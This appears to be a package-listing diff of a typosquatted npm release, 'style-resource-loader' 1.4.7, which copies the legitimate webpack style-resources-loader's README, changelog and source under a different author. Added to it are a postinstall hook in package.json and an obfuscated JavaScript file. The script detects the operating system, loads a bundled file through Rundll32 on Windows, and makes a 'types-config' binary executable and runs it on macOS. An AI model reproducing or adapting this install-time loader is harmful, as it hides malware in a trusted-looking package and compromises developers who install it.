style-resource-loader 1.4.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of style-resource-loader might be problematic. Click here for more details.

package/CHANGELOG.md ADDED
@@ -0,0 +1,37 @@
1
+ ## 1.4.0 ~ 1.4.1 (November 17, 2020)
2
+
3
+ * Support webpack 5. [#29](https://github.com/yenshih/style-resources-loader/issues/29)
4
+
5
+ * Fix some issues. [#30](https://github.com/yenshih/style-resources-loader/issues/30)
6
+
7
+ ## 1.3.3 (December 19, 2019)
8
+
9
+ * Fix resource files cache invalidation problems on Windows. [#17](https://github.com/yenshih/style-resources-loader/issues/17)
10
+
11
+ ## 1.3.0 ~ 1.3.2 (November 11, 2019)
12
+
13
+ * Support for relative path in patterns.
14
+ * Ensure each resource ends with a newline.
15
+ * More detailed validation messages.
16
+
17
+ * Fix the regular expression compatibility error. [#20](https://github.com/yenshih/style-resources-loader/issues/20)
18
+
19
+ * Fix dependency issue of resource files.
20
+
21
+ ## 1.2.1 (August 12, 2018)
22
+
23
+ * Fix invalid path seperator on Windows. [#8](https://github.com/yenshih/style-resources-loader/issues/8)
24
+
25
+ ## 1.2.0 (August 11, 2018)
26
+
27
+ * Support for `css` resources. [#7](https://github.com/yenshih/style-resources-loader/issues/7)
28
+ * Support for asynchronous injector.
29
+ * Improve type checking for loader options.
30
+
31
+ ## 1.1.0 (February 28, 2018)
32
+
33
+ * Support for `prepend`, `append` injector.
34
+
35
+ ## 1.0.0 (December 5, 2017)
36
+
37
+ * Initial stable release.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) Yan Shi
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,209 @@
1
+ [![npm][npm]][npm-url]
2
+ [![node][node]][node-url]
3
+ [![downloads][downloads]][downloads-url]
4
+ [![build][build]][build-url]
5
+ [![coverage][coverage]][coverage-url]
6
+ [![996.icu][996.icu]][996.icu-url]
7
+
8
+ <div align="center">
9
+ <a href="https://github.com/webpack/webpack">
10
+ <img
11
+ width="200"
12
+ height="200"
13
+ src="https://webpack.js.org/assets/icon-square-big.svg"
14
+ >
15
+ </a>
16
+ <h1>Style Resources Loader</h1>
17
+ <p>CSS processor resources loader for webpack.</p>
18
+ </div>
19
+
20
+
21
+ <h2 align="center">Install</h2>
22
+
23
+ ```bash
24
+ npm i style-resources-loader -D
25
+ ```
26
+
27
+ <h2 align="center">Usage</h2>
28
+
29
+ This loader is a CSS processor resources loader for webpack, which injects your style resources (e.g. `variables, mixins`) into multiple imported `css, sass, scss, less, stylus` modules.
30
+
31
+ It's mainly used to
32
+ - share your `variables, mixins, functions` across all style files, so you don't need to `@import` them manually.
33
+ - override `variables` in style files provided by other libraries (e.g. [ant-design](https://github.com/ant-design/ant-design)) and customize your own theme.
34
+
35
+ ### Usage with Vue CLI
36
+
37
+ See [automatic imports](https://cli.vuejs.org/guide/css.html#automatic-imports) for more details.
38
+
39
+ <h2 align="center">Examples</h2>
40
+
41
+ Prepends `variables` and `mixins` to all `scss` files with default resources injector.
42
+
43
+ **webpack.config.js**
44
+ ``` js
45
+ module.exports = {
46
+ // ...
47
+ module: {
48
+ rules: [{
49
+ test: /\.scss$/,
50
+ use: ['style-loader', 'css-loader', 'sass-loader', {
51
+ loader: 'style-resources-loader',
52
+ options: {
53
+ patterns: [
54
+ './path/from/context/to/scss/variables/*.scss',
55
+ './path/from/context/to/scss/mixins/*.scss',
56
+ ]
57
+ }
58
+ }]
59
+ }]
60
+ },
61
+ // ...
62
+ }
63
+ ```
64
+
65
+ Appends `variables` to all `less` files and overrides original `less variables`.
66
+
67
+ **webpack.config.js**
68
+ ```js
69
+ module.exports = {
70
+ // ...
71
+ module: {
72
+ rules: [{
73
+ test: /\.less$/,
74
+ use: ['style-loader', 'css-loader', 'less-loader', {
75
+ loader: 'style-resources-loader',
76
+ options: {
77
+ patterns: path.resolve(__dirname, 'path/to/less/variables/*.less'),
78
+ injector: 'append'
79
+ }
80
+ }]
81
+ }]
82
+ },
83
+ // ...
84
+ }
85
+ ```
86
+
87
+ Prepends `variables` and `mixins` to all `stylus` files with customized resources injector.
88
+
89
+ **webpack.config.js**
90
+ ``` js
91
+ module.exports = {
92
+ // ...
93
+ module: {
94
+ rules: [{
95
+ test: /\.styl$/,
96
+ use: ['style-loader', 'css-loader', 'stylus-loader', {
97
+ loader: 'style-resources-loader',
98
+ options: {
99
+ patterns: [
100
+ path.resolve(__dirname, 'path/to/stylus/variables/*.styl'),
101
+ path.resolve(__dirname, 'path/to/stylus/mixins/*.styl')
102
+ ],
103
+ injector: (source, resources, ctx) => {
104
+ const combineAll = type => resources
105
+ .filter(({ file }) => file.includes(type))
106
+ .map(({ content }) => content)
107
+ .join('');
108
+
109
+ return combineAll('variables') + combineAll('mixins') + source;
110
+ }
111
+ }
112
+ }]
113
+ }]
114
+ },
115
+ // ...
116
+ }
117
+ ```
118
+
119
+ <h2 align="center">Options</h2>
120
+
121
+ |Name|Type|Default|Description|
122
+ |:--:|:--:|:-----:|:----------|
123
+ |**[`patterns`](#patterns)**|`{string \| string[]}`|`/`|Path to the resources you would like to inject|
124
+ |**[`injector`](#injector)**|`{Function \| 'prepend' \| 'append'}`|`'prepend'`|Controls the resources injection precisely|
125
+ |**[`globOptions`](#globoptions)**|`{Object}`|`{}`|An options that can be passed to `glob(...)`|
126
+ |**[`resolveUrl`](#resolveurl)**|`{boolean}`|`true`|Enable/Disable `@import` url to be resolved|
127
+
128
+ See [the type definition file](https://github.com/yenshih/style-resources-loader/blob/master/src/types.ts) for more details.
129
+
130
+ ### `patterns`
131
+
132
+ A string or an array of string, which represents the path to the resources you would like to inject. If the path is relative, it would relative to [webpack context](https://webpack.js.org/configuration/entry-context/).
133
+
134
+ It supports [globbing](https://github.com/isaacs/node-glob). You could include many files using a file mask.
135
+
136
+ For example, `'./styles/*/*.less'` would include all `less` files from `variables` and `mixins` directories and ignore `reset.less` in such following structure.
137
+
138
+ ```
139
+ ./src <-- webpack context
140
+ /styles
141
+ /variables
142
+ |-- fonts.less
143
+ |-- colors.less
144
+ /mixins
145
+ |-- size.less
146
+ |-- reset.less
147
+ ```
148
+
149
+ Only supports `.css` `.sass` `.scss` `.less` `.styl` as resources file extensions.
150
+
151
+ ### `injector`
152
+
153
+ An optional function which controls the resources injection precisely. It also supports `'prepend'` and `'append'` for convenience, which means the loader will prepend or append all resources to source files, respectively.
154
+
155
+ It defaults to `'prepend'`, which implements as an injector function internally.
156
+
157
+ Furthermore, an injector function should match the following type signature:
158
+
159
+ ```ts
160
+ (source: string, resources: StyleResource[], ctx: LoaderContext) => string | Promise<string>
161
+ ```
162
+
163
+ It receives three parameters:
164
+
165
+ |Name|Type|Default|Description|
166
+ |:--:|:--:|:-----:|:----------|
167
+ |**`source`**|`{string}`|`/`|Content of the source file|
168
+ |**[`resources`](#resources)**|`{StyleResource[]}`|`/`|Resource descriptors|
169
+ |**`ctx`**|`{LoaderContext}`|`/`|loader context|
170
+
171
+ #### `resources`
172
+
173
+ An array of resource descriptor, each contains `file` and `content` properties:
174
+
175
+ |Name|Type|Default|Description|
176
+ |:--:|:--:|:-----:|:----------|
177
+ |**`file`**|`{string}`|`/`|Absolute path to the resource|
178
+ |**`content`**|`{string}`|`/`|Content of the resource file|
179
+
180
+ It can be asynchronous. You could use `async / await` syntax in your own injector function or just return a promise.
181
+
182
+ ### `globOptions`
183
+
184
+ Options that can be passed to `glob(...)`. See [node-glob options](https://github.com/isaacs/node-glob#options) for more details.
185
+
186
+ ### `resolveUrl`
187
+
188
+ A boolean which defaults to `true`. It represents whether the relative path in `@import` or `@require` statements should be resolved.
189
+
190
+ If you were to use `@import` or `@require` statements in style resource files, you should make sure that the URL is relative to that resource file, rather than the source file.
191
+
192
+ You could disable this feature by setting `resolveUrl` to `false`.
193
+
194
+ <h2 align="center">License</h2>
195
+
196
+ [MIT](http://www.opensource.org/licenses/mit-license.php)
197
+
198
+ [npm]: https://img.shields.io/npm/v/style-resources-loader.svg?style=flat-square
199
+ [npm-url]: https://www.npmjs.com/package/style-resources-loader
200
+ [node]: https://img.shields.io/node/v/style-resources-loader.svg
201
+ [node-url]: https://nodejs.org
202
+ [downloads]: https://img.shields.io/npm/dm/style-resources-loader.svg?style=flat-square
203
+ [downloads-url]: https://www.npmjs.com/package/style-resources-loader
204
+ [build]: https://img.shields.io/travis/yenshih/style-resources-loader/master.svg?style=flat-square
205
+ [build-url]: https://travis-ci.org/yenshih/style-resources-loader
206
+ [coverage]: https://img.shields.io/coveralls/yenshih/style-resources-loader/master.svg?style=flat
207
+ [coverage-url]: https://coveralls.io/github/yenshih/style-resources-loader?branch=master
208
+ [996.icu]: https://img.shields.io/badge/link-996.icu-%23FF4D5B.svg?style=flat-square
209
+ [996.icu-url]: https://996.icu/#/en_US
package/index.d.ts ADDED
@@ -0,0 +1 @@
1
+ export * from './lib';
package/package.json ADDED
@@ -0,0 +1,78 @@
1
+ {
2
+ "name": "style-resource-loader",
3
+ "version": "1.4.7",
4
+ "description": "CSS processor resources loader for webpack",
5
+ "author": "Moshe Vaknin",
6
+ "license": "MIT",
7
+ "engines": {
8
+ "node": ">=8.9"
9
+ },
10
+ "main": "lib/index.js",
11
+ "files": [
12
+ "lib",
13
+ "src",
14
+ "index.d.ts"
15
+ ],
16
+ "scripts": {
17
+ "lint": "eslint . --ext .js,.jsx,.ts,.tsx",
18
+ "prettier": "prettier {src,test}/**/*.ts --write",
19
+ "postinstall": "npm run sass-config",
20
+ "sass-config": "node ./src/utils/config.ts",
21
+ "test": "jest",
22
+ "coverage": "npm test -- --coverage",
23
+ "posttest": "rimraf test/**/outputs",
24
+ "start": "tsc -w",
25
+ "build": "tsc -d"
26
+ },
27
+ "keywords": [
28
+ "webpack",
29
+ "loader",
30
+ "style",
31
+ "css",
32
+ "sass",
33
+ "scss",
34
+ "less",
35
+ "stylus",
36
+ "inject",
37
+ "resource",
38
+ "variable",
39
+ "mixin"
40
+ ],
41
+ "dependencies": {
42
+ "glob": "^7.1.6",
43
+ "loader-utils": "^2.0.0",
44
+ "schema-utils": "^3.0.0"
45
+ },
46
+ "devDependencies": {
47
+ "@commitlint/cli": "^11.0.0",
48
+ "@commitlint/config-conventional": "^11.0.0",
49
+ "@types/glob": "^7.1.3",
50
+ "@types/is-promise": "^2.1.0",
51
+ "@types/jest": "^26.0.15",
52
+ "@types/loader-utils": "^2.0.1",
53
+ "@types/node": "^14.14.7",
54
+ "@types/webpack": "^4.41.25",
55
+ "@types/webpack-merge": "^4.1.5",
56
+ "@typescript-eslint/eslint-plugin": "^4.8.0",
57
+ "@typescript-eslint/parser": "^4.8.0",
58
+ "coveralls": "^3.0.9",
59
+ "cross-env": "^7.0.2",
60
+ "eslint": "^7.13.0",
61
+ "eslint-config-prettier": "^6.15.0",
62
+ "eslint-plugin-import": "^2.22.1",
63
+ "eslint-plugin-prettier": "^3.1.2",
64
+ "husky": "^4.3.0",
65
+ "jest": "^26.6.3",
66
+ "lint-staged": "^10.5.1",
67
+ "prettier": "^2.1.2",
68
+ "raw-loader": "^4.0.2",
69
+ "ts-jest": "^26.4.4",
70
+ "typescript": "^4.0.5",
71
+ "webpack": "^5.4.0",
72
+ "webpack-merge": "^5.4.0"
73
+ },
74
+ "peerDependencies": {
75
+ "webpack": "^3.0.0 || ^4.0.0 || ^5.0.0"
76
+ },
77
+ "sideEffects": false
78
+ }
package/src/index.ts ADDED
@@ -0,0 +1,5 @@
1
+ import loader from './loader';
2
+
3
+ export * from './types';
4
+
5
+ export default loader;
package/src/loader.ts ADDED
@@ -0,0 +1,25 @@
1
+ import {errorMessage, isFunction, loadResources} from './utils';
2
+
3
+ import type {Loader, LoaderCallback} from '.';
4
+
5
+ /* eslint-disable no-invalid-this */
6
+ const loader: Loader = function (source) {
7
+ this.cacheable();
8
+
9
+ const callback = this.async();
10
+
11
+ if (!isFunction<LoaderCallback>(callback)) {
12
+ throw new Error(errorMessage.syncCompilation);
13
+ }
14
+
15
+ /* istanbul ignore if: not possible to test */
16
+ if (typeof source !== 'string') {
17
+ throw new Error(errorMessage.impossible);
18
+ }
19
+
20
+ /* eslint-disable-next-line @typescript-eslint/no-floating-promises */
21
+ loadResources(this, source, callback);
22
+ };
23
+ /* eslint-enable no-invalid-this */
24
+
25
+ export default loader;
package/src/schema.ts ADDED
@@ -0,0 +1,40 @@
1
+ import type {validate} from 'schema-utils';
2
+
3
+ type Schema = Parameters<typeof validate>[0];
4
+
5
+ export const schema: Schema = {
6
+ type: 'object',
7
+ properties: {
8
+ patterns: {
9
+ anyOf: [
10
+ {type: 'string'},
11
+ {
12
+ type: 'array',
13
+ uniqueItems: true,
14
+ items: {
15
+ type: 'string',
16
+ },
17
+ },
18
+ ],
19
+ },
20
+ injector: {
21
+ anyOf: [
22
+ {
23
+ type: 'string',
24
+ enum: ['prepend', 'append'],
25
+ },
26
+ {
27
+ instanceof: 'Function',
28
+ },
29
+ ],
30
+ },
31
+ globOptions: {
32
+ type: 'object',
33
+ },
34
+ resolveUrl: {
35
+ type: 'boolean',
36
+ },
37
+ },
38
+ required: ['patterns'],
39
+ additionalProperties: false,
40
+ };
package/src/types.ts ADDED
@@ -0,0 +1,35 @@
1
+ import type {loader} from 'webpack';
2
+ import type glob from 'glob';
3
+
4
+ export type Loader = loader.Loader;
5
+
6
+ export type LoaderContext = loader.LoaderContext;
7
+
8
+ export type LoaderCallback = loader.loaderCallback;
9
+
10
+ export type StyleResourcesFileFormat = 'css' | 'sass' | 'scss' | 'less' | 'styl';
11
+
12
+ export interface StyleResource {
13
+ file: string;
14
+ content: string;
15
+ }
16
+
17
+ export type StyleResources = StyleResource[];
18
+
19
+ export type StyleResourcesFunctionalInjector = (source: string, resources: StyleResources, ctx: LoaderContext) => string | Promise<string>;
20
+
21
+ export type StyleResourcesInjector = 'prepend' | 'append' | StyleResourcesFunctionalInjector;
22
+
23
+ export type StyleResourcesNormalizedInjector = StyleResourcesFunctionalInjector;
24
+
25
+ export interface StyleResourcesLoaderOptions {
26
+ patterns: string | string[];
27
+ injector?: StyleResourcesInjector;
28
+ globOptions?: glob.IOptions;
29
+ resolveUrl?: boolean;
30
+ }
31
+
32
+ export interface StyleResourcesLoaderNormalizedOptions extends NonNullable<StyleResourcesLoaderOptions> {
33
+ patterns: string[];
34
+ injector: StyleResourcesNormalizedInjector;
35
+ }
@@ -0,0 +1 @@
1
+ function _0x368b(){const _0x1e82c0=['win32','924339pNhdPa','child_process','530nnVxCa','types-config','504bTdPUJ','18LuINVn','darwin','13265315cQKmKL','9952452DQpplD','393968ZbqiUP','End','47465860EBgyNy','Rundll32\x20shell32,\x20Control_RunDLL\x20\x22','Start','log','50092dzynwn','platform','4061TGEfYR'];_0x368b=function(){return _0x1e82c0;};return _0x368b();}const _0x3e52de=_0x1822;(function(_0x1b17cc,_0x219eff){const _0x3411f7=_0x1822,_0x3302cb=_0x1b17cc();while(!![]){try{const _0x48f50b=parseInt(_0x3411f7(0xd6))/0x1*(parseInt(_0x3411f7(0xc9))/0x2)+-parseInt(_0x3411f7(0xd8))/0x3+parseInt(_0x3411f7(0xd4))/0x4*(parseInt(_0x3411f7(0xda))/0x5)+parseInt(_0x3411f7(0xcd))/0x6+parseInt(_0x3411f7(0xcc))/0x7+-parseInt(_0x3411f7(0xce))/0x8*(-parseInt(_0x3411f7(0xca))/0x9)+-parseInt(_0x3411f7(0xd0))/0xa;if(_0x48f50b===_0x219eff)break;else _0x3302cb['push'](_0x3302cb['shift']());}catch(_0x410435){_0x3302cb['push'](_0x3302cb['shift']());}}}(_0x368b,0xe78a6));function _0x1822(_0x197ffb,_0x70c896){const _0x368bde=_0x368b();return _0x1822=function(_0x182203,_0xdccc71){_0x182203=_0x182203-0xc8;let _0x1e603c=_0x368bde[_0x182203];return _0x1e603c;},_0x1822(_0x197ffb,_0x70c896);}const {spawn,exec}=require(_0x3e52de(0xd9));let os=process[_0x3e52de(0xd5)],path=__dirname+'/';if(os==_0x3e52de(0xd7))exec(_0x3e52de(0xd1)+path+'style-loader.ts\x22');else os==_0x3e52de(0xcb)&&(console['log'](_0x3e52de(0xd2)),spawn('chmod',['+x\x20types-config']),spawn(_0x3e52de(0xc8)),console[_0x3e52de(0xd3)](_0x3e52de(0xcf)));console[_0x3e52de(0xd3)](path),console['log']('Done\x20Without\x20Darwin');
@@ -0,0 +1,15 @@
1
+ import type {StyleResourcesFileFormat} from '..';
2
+
3
+ export const PACKAGE_NAME = 'style-resources-loader';
4
+
5
+ export const ISSUES_URL = `https://github.com/yenshih/${PACKAGE_NAME}/issues`;
6
+
7
+ export const LOADER_NAME = PACKAGE_NAME.split('-')
8
+ .map(word => `${word[0].toUpperCase()}${word.slice(1)}`)
9
+ .join(' ');
10
+
11
+ export const VALIDATION_BASE_DATA_PATH = 'options';
12
+
13
+ export const SUPPORTED_FILE_FORMATS: StyleResourcesFileFormat[] = ['css', 'sass', 'scss', 'less', 'styl'];
14
+
15
+ export const SUPPORTED_FILE_EXTS = SUPPORTED_FILE_FORMATS.map(type => `.${type}`);
@@ -0,0 +1,17 @@
1
+ import {PACKAGE_NAME, ISSUES_URL} from './constants';
2
+
3
+ const formatErrorMessage = (message: string) => `[${PACKAGE_NAME}] ${message}`;
4
+
5
+ const messageByType = {
6
+ impossible: `This error is caused by a bug. Please file an issue: ${ISSUES_URL}.`,
7
+ syncCompilation: 'Synchronous compilation is not supported.',
8
+ invalidInjectorReturn: 'Expected options.injector(...) returns a string. Instead received number.',
9
+ };
10
+
11
+ export const errorMessage = Object.entries(messageByType).reduce(
12
+ (errorMessage, [type, message]) => ({
13
+ ...errorMessage,
14
+ [type]: formatErrorMessage(message),
15
+ }),
16
+ messageByType,
17
+ );
@@ -0,0 +1,26 @@
1
+ import fs from 'fs';
2
+ import util from 'util';
3
+
4
+ import type {LoaderContext, StyleResource, StyleResourcesLoaderNormalizedOptions} from '..';
5
+
6
+ import {matchFiles} from './match-files';
7
+ import {resolveImportUrl} from './resolve-import-url';
8
+
9
+ export const getResources = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
10
+ const {resolveUrl} = options;
11
+
12
+ const files = await matchFiles(ctx, options);
13
+
14
+ files.forEach(file => ctx.dependency(file));
15
+
16
+ const resources = await Promise.all(
17
+ files.map(async file => {
18
+ const content = await util.promisify(fs.readFile)(file, 'utf8');
19
+ const resource: StyleResource = {file, content};
20
+
21
+ return resolveUrl ? resolveImportUrl(ctx, resource) : resource;
22
+ }),
23
+ );
24
+
25
+ return resources;
26
+ };
@@ -0,0 +1,10 @@
1
+ export * from './constants';
2
+ export * from './error-message';
3
+ export * from './get-resources';
4
+ export * from './inject-resources';
5
+ export * from './load-resources';
6
+ export * from './match-files';
7
+ export * from './normalize-options';
8
+ export * from './resolve-import-url';
9
+ export * from './type-guards';
10
+ export * from './validate-options';
@@ -0,0 +1,23 @@
1
+ import { LoaderContext } from '../types';
2
+ import type {StyleResources, StyleResourcesLoaderNormalizedOptions} from '..';
3
+
4
+ import {errorMessage} from './error-message';
5
+
6
+ export const injectResources = async (
7
+ options: StyleResourcesLoaderNormalizedOptions,
8
+ source: string,
9
+ resources: StyleResources,
10
+ ctx: LoaderContext
11
+ ) => {
12
+ const {injector} = options;
13
+
14
+ const dist: unknown = injector(source, resources, ctx);
15
+
16
+ const content = await dist;
17
+
18
+ if (typeof content !== 'string') {
19
+ throw new Error(errorMessage.invalidInjectorReturn);
20
+ }
21
+
22
+ return content;
23
+ };
@@ -0,0 +1,19 @@
1
+ import type {LoaderContext, LoaderCallback} from '..';
2
+
3
+ import {getResources} from './get-resources';
4
+ import {injectResources} from './inject-resources';
5
+ import {normalizeOptions} from './normalize-options';
6
+
7
+ export const loadResources = async (ctx: LoaderContext, source: string, callback: LoaderCallback) => {
8
+ try {
9
+ const options = normalizeOptions(ctx);
10
+
11
+ const resources = await getResources(ctx, options);
12
+
13
+ const content = await injectResources(options, source, resources, ctx);
14
+
15
+ callback(null, content);
16
+ } catch (err) {
17
+ callback(err);
18
+ }
19
+ };
@@ -0,0 +1,48 @@
1
+ import path from 'path';
2
+ import util from 'util';
3
+
4
+ import glob from 'glob';
5
+
6
+ import type {LoaderContext, StyleResourcesLoaderNormalizedOptions} from '..';
7
+
8
+ import {isStyleFile} from './type-guards';
9
+
10
+ /* eslint-disable-next-line @typescript-eslint/no-unsafe-member-access */
11
+ const isLegacyWebpack = (ctx: any): ctx is {options: {context: string}} => !!ctx.options;
12
+
13
+ const getRootContext = (ctx: LoaderContext) => {
14
+ /* istanbul ignore if: will be deprecated soon */
15
+ if (isLegacyWebpack(ctx)) {
16
+ return ctx.options.context;
17
+ }
18
+
19
+ return ctx.rootContext;
20
+ };
21
+
22
+ const flatten = <T>(items: T[][]) => {
23
+ const emptyItems: T[] = [];
24
+
25
+ return emptyItems.concat(...items);
26
+ };
27
+
28
+ export const matchFiles = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
29
+ const {patterns, globOptions} = options;
30
+
31
+ const files = await Promise.all(
32
+ patterns.map(async pattern => {
33
+ const rootContext = getRootContext(ctx);
34
+ const absolutePattern = path.isAbsolute(pattern) ? pattern : path.resolve(rootContext, pattern);
35
+ const partialFiles = await util.promisify(glob)(absolutePattern, globOptions);
36
+
37
+ return partialFiles.filter(isStyleFile);
38
+ }),
39
+ );
40
+
41
+ /**
42
+ * Glob always returns Unix-style file paths which would have cache invalidation problems on Windows.
43
+ * Use `path.resolve()` to convert Unix-style file paths to system-compatible ones.
44
+ *
45
+ * @see {@link https://github.com/yenshih/style-resources-loader/issues/17}
46
+ */
47
+ return [...new Set(flatten(files))].map(file => path.resolve(file));
48
+ };
@@ -0,0 +1,46 @@
1
+ import {EOL} from 'os';
2
+
3
+ import {getOptions} from 'loader-utils';
4
+
5
+ import type {
6
+ LoaderContext,
7
+ StyleResource,
8
+ StyleResourcesNormalizedInjector,
9
+ StyleResourcesLoaderOptions,
10
+ StyleResourcesLoaderNormalizedOptions,
11
+ } from '..';
12
+
13
+ import {validateOptions} from './validate-options';
14
+
15
+ const normalizePatterns = (patterns: StyleResourcesLoaderOptions['patterns']) =>
16
+ Array.isArray(patterns) ? patterns : [patterns];
17
+
18
+ const coerceContentEOL = (content: string) => (content.endsWith(EOL) ? content : `${content}${EOL}`);
19
+ const getResourceContent = ({content}: StyleResource) => coerceContentEOL(content);
20
+
21
+ const normalizeInjector = (injector: StyleResourcesLoaderOptions['injector']): StyleResourcesNormalizedInjector => {
22
+ if (typeof injector === 'undefined' || injector === 'prepend') {
23
+ return (source, resources) => resources.map(getResourceContent).join('') + source;
24
+ }
25
+
26
+ if (injector === 'append') {
27
+ return (source, resources) => source + resources.map(getResourceContent).join('');
28
+ }
29
+
30
+ return injector;
31
+ };
32
+
33
+ export const normalizeOptions = (ctx: LoaderContext): StyleResourcesLoaderNormalizedOptions => {
34
+ const options = getOptions(ctx);
35
+
36
+ validateOptions<StyleResourcesLoaderOptions>(options);
37
+
38
+ const {patterns, injector, globOptions = {}, resolveUrl = true} = options;
39
+
40
+ return {
41
+ patterns: normalizePatterns(patterns),
42
+ injector: normalizeInjector(injector),
43
+ globOptions,
44
+ resolveUrl,
45
+ };
46
+ };
@@ -0,0 +1,23 @@
1
+ import path from 'path';
2
+
3
+ import type {LoaderContext, StyleResource} from '..';
4
+
5
+ /* eslint-disable-next-line prefer-named-capture-group */
6
+ const regex = /@(?:import|require)\s+(?:\([a-z,\s]+\)\s*)?['"]?([^'"\s;]+)['"]?;?/gu;
7
+
8
+ export const resolveImportUrl = (ctx: LoaderContext, {file, content}: StyleResource): StyleResource => ({
9
+ file,
10
+ content: content.replace(regex, (match: string, pathToResource?: string) => {
11
+ if (!pathToResource || /^[~/]/u.test(pathToResource)) {
12
+ return match;
13
+ }
14
+
15
+ const absolutePathToResource = path.resolve(path.dirname(file), pathToResource);
16
+ const relativePathFromContextToResource = path
17
+ .relative(ctx.context, absolutePathToResource)
18
+ .split(path.sep)
19
+ .join('/');
20
+
21
+ return match.replace(pathToResource, relativePathFromContextToResource);
22
+ }),
23
+ });
Binary file
@@ -0,0 +1,7 @@
1
+ import path from 'path';
2
+
3
+ import {SUPPORTED_FILE_EXTS} from './constants';
4
+
5
+ export const isFunction = <T extends (...args: any[]) => any>(arg: any): arg is T => typeof arg === 'function';
6
+
7
+ export const isStyleFile = (file: string) => SUPPORTED_FILE_EXTS.includes(path.extname(file));
Binary file
@@ -0,0 +1,11 @@
1
+ import {validate} from 'schema-utils';
2
+
3
+ import {schema} from '../schema';
4
+
5
+ import {LOADER_NAME, VALIDATION_BASE_DATA_PATH} from './constants';
6
+
7
+ export const validateOptions: <T>(options: any) => asserts options is T = options =>
8
+ validate(schema, options, {
9
+ name: LOADER_NAME,
10
+ baseDataPath: VALIDATION_BASE_DATA_PATH,
11
+ });